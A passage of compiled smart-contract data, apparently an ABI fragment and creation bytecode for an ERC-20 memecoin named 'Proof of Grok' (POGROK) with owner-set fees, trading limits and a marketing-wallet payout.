payable","name":"newowner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"marketingWlt","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052731c5771fe59440182c04dcf7190fa6b41345f802a60015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060028055600160035f6101000a81548160ff021916908360ff1602179055506001600360016101000a81548160ff021916908360ff1602179055506009600a620000a391906200087e565b64019b45a500620000b59190620008ce565b6005556009600a620000c891906200087e565b64019b45a500620000da9190620008ce565b600655620186a0600a6009600a620000f391906200087e565b64019b45a500620001059190620008ce565b620001119190620008ce565b6200011d919062000945565b600755620186a06103e76009600a6200013791906200087e565b64019b45a500620001499190620008ce565b620001559190620008ce565b62000161919062000945565b60085566470de4df82000060095560646032600754620001829190620008ce565b6200018e9190620008ce565b600a55737a250d5630b4cf539739df2c5dacb4c659f2488d60115f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f601460016101000a81548160ff0219169083151502179055503480156200020b575f80fd5b5033805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550503360105f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a6200029d91906200087e565b64019b45a500620002af9190620008ce565b600b5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600b5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546040516200038c91906200098d565b60405180910390a36001600e5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600e5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600e5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600e5f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600f5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600f5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600f5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600f5f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550620009a8565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111562000776578086048111156200074e576200074d620006ec565b5b60018516156200075e5780820291505b80810290506200076e8562000719565b94506200072e565b94509492505050565b5f8262000790576001905062000862565b816200079f575f905062000862565b8160018114620007b85760028114620007c357620007f9565b600191505062000862565b60ff841115620007d857620007d7620006ec565b5b8360020a915084821115620007f257620007f1620006ec565b5b5062000862565b5060208310610133831016604e8410600b8410161715620008335782820a9050838111156200082d576200082c620006ec565b5b62000862565b62000842848484600162000725565b925090508184048111156200085c576200085b620006ec565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6200088a8262000869565b9150620008978362000872565b9250620008c67fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200077f565b905092915050565b5f620008da8262000869565b9150620008e78362000869565b9250828202620008f78162000869565b91508282048414831517620009115762000910620006ec565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f620009518262000869565b91506200095e8362000869565b92508262000971576200097062000918565b5b828204905092915050565b620009878162000869565b82525050565b5f602082019050620009a25f8301846200097c565b92915050565b6144a580620009b65f395ff3fe60806040526004361061019f575f3560e01c8063715018a6116100eb578063b3de9b5d11610089578063e537a83411610063578063e537a834146105bf578063e8078d94146105e7578063f2fde38b146105f1578063f8b45b0514610619576101a6565b8063b3de9b5d1461052f578063c3f70b5214610559578063dd62ed3e14610583576101a6565b806395d89b41116100c557806395d89b4114610477578063a5e992bb146104a1578063a9059cbb146104cb578063aacebbe314610507576101a6565b8063715018a61461040d57806375f0a874146104235780638da5cb5b1461044d576101a6565b80632fb528ba11610158578063368f480011610132578063368f480014610357578063470624021461037f5780634fcd2446146103a957806370a08231146103d1576101a6565b80632fb528ba146102c857806330449efd146102f0578063313ce5671461032d576101a6565b806306fdde03146101aa578063095ea7b3146101d457806318160ddd1461021057806318839bc31461023a57806323b872dd146102625780632b14ca561461029e576101a6565b366101a657005b5f80fd5b3480156101b5575f80fd5b506101be610643565b6040516101cb91906130fe565b60405180910390f35b3480156101df575f80fd5b506101fa60048036038101906101f591906131af565b610680565b6040516102079190613207565b60405180910390f35b34801561021b575f80fd5b5061022461076d565b604051610231919061322f565b60405180910390f35b348015610245575f80fd5b50610260600480360381019061025b9190613272565b610791565b005b34801561026d575f80fd5b50610288600480360381019061028391906132c2565b610964565b6040516102959190613207565b60405180910390f35b3480156102a9575f80fd5b506102b2610a4f565b6040516102bf919061332d565b60405180910390f35b3480156102d3575f80fd5b506102ee60048036038101906102e99190613370565b610a64565b005b3480156102fb575f80fd5b50610316600480360381019061031191906133ae565b610c43565b6040516103249291906133d9565b60405180910390f35b348015610338575f80fd5b50610341610ce2565b60405161034e919061332d565b60405180910390f35b348015610362575f80fd5b5061037d60048036038101906103789190613437565b610cea565b005b34801561038a575f80fd5b50610393610ea7565b6040516103a0919061332d565b60405180910390f35b3480156103b4575f80fd5b506103cf60048036038101906103ca9190613475565b610ebd565b005b3480156103dc575f80fd5b506103f760048036038101906103f291906133ae565b610fd5565b604051610404919061322f565b60405180910390f35b348015610418575f80fd5b5061042161101b565b005b34801561042e575f80fd5b50610437611120565b60405161044491906134c2565b60405180910390f35b348015610458575f80fd5b50610461611148565b60405161046e91906134c2565b60405180910390f35b348015610482575f80fd5b5061048b61116f565b60405161049891906130fe565b60405180910390f35b3480156104ac575f80fd5b506104b56111ac565b6040516104c2919061322f565b60405180910390f35b3480156104d6575f80fd5b506104f160048036038101906104ec91906131af565b6111b5565b6040516104fe9190613207565b60405180910390f35b348015610512575f80fd5b5061052d600480360381019061052891906133ae565b611211565b005b34801561053a575f80fd5b50610543611415565b604051610550919061322f565b60405180910390f35b348015610564575f80fd5b5061056d61141e565b60405161057a919061322f565b60405180910390f35b34801561058e575f80fd5b506105a960048036038101906105a491906134db565b611427565b6040516105b6919061322f565b60405180910390f35b3480156105ca575f80fd5b506105e560048036038101906105e09190613552565b6114a9565b005b6105ef611638565b005b3480156105fc575f80fd5b5061061760048036038101906106129190613604565b611c86565b005b348015610624575f80fd5b5061062d611d8c565b60405161063a919061322f565b60405180910390f35b60606040518060400160405280600d81526020017f50726f6f66206f662047726f6b00000000000000000000000000000000000000815250905090565b5f81600c5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161075b919061322f565b60405180910390a36001905092915050565b5f6009600a61077c919061378b565b64019b45a50061078c91906137d5565b905090565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461081e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081590613860565b60405180910390fd5b80806108275750815b156108b75760135f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156108b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ad906138c8565b60405180910390fd5b5b81600e5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555080600f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550505050565b5f61096e84611d95565b6109ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a490613930565b60405180910390fd5b81600c5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610a34919061394e565b92505081905550610a46848484611e67565b90509392505050565b5f60035f9054906101000a900460ff16905090565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610af1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae890613860565b60405180910390fd5b6001601460016101000a81548160ff02191690831515021790555060648260ff161115610b53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4a906139cb565b60405180910390fd5b5f60648360ff16600b5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610ba291906137d5565b610bac9190613a16565b90506009600a610bbc919061378b565b811115610bcd57610bcc81612539565b5b8115610c24575f4790505f8111610c19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1090613a90565b60405180910390fd5b610c22816126d3565b505b505f601460016101000a81548160ff0219169083151502179055505050565b5f80600e5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16600f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1691509150915091565b5f6009905090565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6e90613860565b60405180910390fd5b5f60016103e88461ffff166009600a610d90919061378b565b64019b45a500610da091906137d5565b610daa91906137d5565b610db49190613a16565b610dbe9190613aae565b9050600554811015610e05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dfc90613b2b565b60405180910390fd5b806005819055505f60016103e88461ffff166009600a610e25919061378b565b64019b45a500610e3591906137d5565b610e3f91906137d5565b610e499190613a16565b610e539190613aae565b9050600654811015610e9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9190613b93565b60405180910390fd5b8060068190555050505050565b5f600360019054906101000a900460ff16905090565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4190613860565b60405180910390fd5b60028183610f589190613bb1565b60ff161115610f9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9390613c2f565b60405180910390fd5b81600360016101000a81548160ff021916908360ff1602179055508060035f6101000a81548160ff021916908360ff1602179055505050565b5f600b5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146110a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109f90613860565b60405180910390fd5b5f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861635f60405161111691906134c2565b60405180910390a1565b5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f504f47524f4b0000000000000000000000000000000000000000000000000000815250905090565b5f600854905090565b5f6111bf33611d95565b6111fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f590613930565b60405180910390fd5b611209338484611e67565b905092915050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461129e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129590613860565b60405180910390fd5b60135f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615611328576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131f90613c97565b60405180910390fd5b8060015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600e5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600f5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b5f600754905090565b5f600554905090565b5f600c5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611536576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152d90613860565b60405180910390fd5b8363ffffffff168563ffffffff166009600a611552919061378b565b64019b45a50061156291906137d5565b61156c91906137d5565b6115769190613a16565b6007819055508163ffffffff168363ffffffff166009600a611598919061378b565b64019b45a5006115a891906137d5565b6115b291906137d5565b6115bc9190613a16565b60088190555066038d7ea4c680008163ffffffff166115db9190613cc7565b66ffffffffffffff166009819055506007546008541015611631576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162890613d4d565b60405180910390fd5b5050505050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146116c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116bc90613860565b60405180910390fd5b6001601460016101000a81548160ff0219169083151502179055505f73ffffffffffffffffffffffffffffffffffffffff1660125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461176f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176690613db5565b60405180910390fd5b60145f9054906101000a900460ff16156117be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117b590613e1d565b60405180910390fd5b5f3411806117cb57505f47115b61180a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180190613e85565b60405180910390fd5b5f600b5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205411611889576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188090613eed565b60405180910390fd5b60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156118f3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906119179190613f1f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26040518363ffffffff1660e01b8152600401611965929190613f4a565b6020604051808303815f875af1158015611981573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906119a59190613f1f565b60125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611a2b600b5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20544761273b565b600a54600b5f60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611a9a919061394e565b925050819055505f60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166040516024016040516020818303038152906040527ffff6cae9000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050604051611b6a9190613fb5565b5f604051808303815f865af19150503d805f8114611ba3576040519150601f19603f3d011682016040523d82523d5f602084013e611ba8565b606091505b5050905080611bec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be390614015565b60405180910390fd5b8060135f60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550611c69612812565b505f601460016101000a81548160ff021916908315150217905550565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611d13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d0a90613860565b60405180910390fd5b805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc68616381604051611d81919061408e565b60405180910390a150565b5f600654905090565b5f805f905060145f9054906101000a900460ff1615611db75760019050611e5e565b600e5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611e535750600f5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15611e5d57600190505b5b80915050919050565b5f8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611ed6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ecd906140f1565b60405180910390fd5b60145f9054906101000a900460ff16611fc557600e5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611f855750600f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b611fc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fbb90613930565b60405180910390fd5b5b601460019054906101000a900460ff16158015612028575060135f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80156120395750612038826128c3565b5b1561204757612046612a1f565b5b60045443106122dd57600254431080156120a7575060135f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b1561211b573273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461211a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161211190614159565b60405180910390fd5b5b61025860025461212b9190613aae565b4310801561217f575060135f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80156121b757503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156122dc576001600d5f4381526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282829054906101000a900460ff166122249190613bb1565b92506101000a81548160ff021916908360ff1602179055506002600d5f4381526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1660ff1611156122db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122d290614159565b60405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561234557503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561239c57505f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156123ec576123ac848484612b41565b6123eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123e2906141c1565b60405180910390fd5b5b5f6123f8858585612cc9565b90505f8184612407919061394e565b905083600b5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254612455919061394e565b9250508190555081600a5f82825461246d9190613aae565b9250508190555080600b5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546124c09190613aae565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051612524919061322f565b60405180910390a36001925050509392505050565b61254281612e92565b5f600267ffffffffffffffff81111561255e5761255d6141df565b5b60405190808252806020026020018201604052801561258c5781602001602082028036833780820191505090505b50905030815f815181106125a3576125a261420c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2816001815181106126065761260561420c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016126a2959493929190614329565b5f604051808303815f87803b1580156126b9575f80fd5b505af11580156126cb573d5f803e3d5ffd5b505050505050565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015612737573d5f803e3d5ffd5b5050565b61274482612e92565b60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230855f8060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b81526004016127ca96959493929190614381565b60606040518083038185885af11580156127e6573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061280b91906143f4565b5050505050565b60646009600a612822919061378b565b64019b45a50061283291906137d5565b600261283e91906137d5565b6128489190613a16565b60058190555060646009600a61285e919061378b565b64019b45a50061286e91906137d5565b600261287a91906137d5565b6128849190613a16565b600681905550600160145f6101000a81548160ff021916908315150217905550436004819055506004546002546128bb9190613aae565b600281905550565b5f805f6009541115612a11575f600b5f60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490505f73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc273ffffffffffffffffffffffffffffffffffffffff166370a0823160125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b81526004016129a091906134c2565b602060405180830381865afa1580156129bb573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906129df9190614444565b90505f8282876129ef91906137d5565b6129f99190613a16565b90506009548110612a0957600193505b505050612a16565b600190505b80915050919050565b6001601460016101000a81548160ff0219169083151502179055505f600a5490506007548110158015612a5d575060145f9054906101000a900460ff165b15612b24576008548110612a715760085490505b5f8190506009600a612a83919061378b565b6001612a8f91906137d5565b811115612b0b5781600b5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254612ae29190613aae565b92505081905550612af281612539565b81600a5f828254612b03919061394e565b925050819055505b5f4790505f811115612b2157612b20816126d3565b5b50505b505f601460016101000a81548160ff021916908315150217905550565b5f806001905060145f9054906101000a900460ff168015612ba95750600f5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015612bfc5750600f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15612cbe57600554831115612c13575f9050612cbd565b60135f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015612cb3575060065483600b5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cb19190613aae565b115b15612cbc575f90505b5b5b809150509392505050565b5f8060145f9054906101000a900460ff161580612d2c5750600e5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80612d7d5750600e5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15612d8a575f9050612e87565b60135f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615612e0a576064600360019054906101000a900460ff1660ff1684612df991906137d5565b612e039190613a16565b9050612e86565b60135f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615612e8557606460035f9054906101000a900460ff1660ff1684612e7891906137d5565b612e829190613a16565b90505b5b5b809150509392505050565b80600c5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015613071577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600c5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9257fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff604051613068919061322f565b60405180910390a35b50565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156130ab578082015181840152602081019050613090565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6130d082613074565b6130da818561307e565b93506130ea81856020860161308e565b6130f3816130b6565b840191505092915050565b5f6020820190508181035f83015261311681846130c6565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61314b82613122565b9050919050565b61315b81613141565b8114613165575f80fd5b50565b5f8135905061317681613152565b92915050565b5f819050919050565b61318e8161317c565b8114613198575f80fd5b50565b5f813590506131a981613185565b92915050565b5f80604083850312156131c5576131c461311e565b5b5f6131d285828601613168565b92505060206131e38582860161319b565b9150509250929050565b5f8115159050919050565b613201816131ed565b82525050565b5f60208201905061321a5f8301846131f8565b92915050565b6132298161317c565b82525050565b5f6020820190506132425f830184613220565b92915050565b613251816131ed565b811461325b575f80fd5b50565b5f8135905061326c81613248565b92915050565b5f805f606084860312156132895761328861311e565b5b5f61329686828701613168565b93505060206132a78682870161325e565b92505060406132b88682870161325e565b9150509250925092565b5f805f606084860312156132d9576132d861311e565b5b5f6132e686828701613168565b93505060206132f786828701613168565b92505060406133088682870161319b565b9150509250925092565b5f60ff82169050919050565b61332781613312565b82525050565b5f6020820190506133405f83018461331e565b92915050565b61334f81613312565b8114613359575f80fd5b50565b5f8135905061336a81613346565b92915050565b5f80604083850312156133865761338561311e565b5b5f6133938582860161335c565b92505060206133a48582860161325e565b9150509250929050565b5f602082840312156133c3576133c261311e565b5b5f6133d084828501613168565b91505092915050565b5f6040820190506133ec5f8301856131f8565b6133f960208301846131f8565b9392505050565b5f61ffff82169050919050565b61341681613400565b8114613420575f80fd5b50565b5f813590506134318161340d565b92915050565b5f806040838503121561344d5761344c61311e565